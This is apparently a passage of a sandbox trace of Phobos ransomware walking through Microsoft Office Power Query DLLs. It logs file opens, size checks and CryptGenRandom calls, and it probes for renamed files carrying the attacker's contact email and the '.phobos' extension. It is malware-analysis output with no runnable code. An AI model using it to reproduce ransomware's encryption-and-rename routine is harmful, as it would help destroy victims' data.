0xffffffff [0155.561] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.562] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=162472) returned 1 [0155.562] CloseHandle (hObject=0x574) returned 1 [0155.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.562] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.563] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=207528) returned 1 [0155.563] CloseHandle (hObject=0x574) returned 1 [0155.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.564] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.567] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=572072) returned 1 [0155.567] CloseHandle (hObject=0x254) returned 1 [0155.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.567] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.572] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=55976) returned 1 [0155.572] CloseHandle (hObject=0x254) returned 1 [0155.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.572] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.574] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=155712) returned 1 [0155.574] CloseHandle (hObject=0x254) returned 1 [0155.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.575] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.577] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=199336) returned 1 [0155.577] CloseHandle (hObject=0x254) returned 1 [0155.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.578] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.578] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=544832) returned 1 [0155.579] CloseHandle (hObject=0x254) returned 1 [0155.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.579] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.581] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=61504) returned 1 [0155.581] CloseHandle (hObject=0x254) returned 1 [0155.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.581] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.585] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=155712) returned 1 [0155.585] CloseHandle (hObject=0x254) returned 1 [0155.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.585] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.587] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=204864) returned 1 [0155.587] CloseHandle (hObject=0x254) returned 1 [0155.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.587] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.588] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=555688) returned 1 [0155.588] CloseHandle (hObject=0x254) returned 1 [0155.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.588] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\EventSource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eventsource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.589] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=80960) returned 1 [0155.589] CloseHandle (hObject=0x254) returned 1 [0155.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\EventSource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eventsource.dll")) returned 0x220 [0155.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\EventSource.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eventsource.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\EventSource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eventsource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.589] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.590] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=60072) returned 1 [0155.590] CloseHandle (hObject=0x254) returned 1 [0155.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.591] 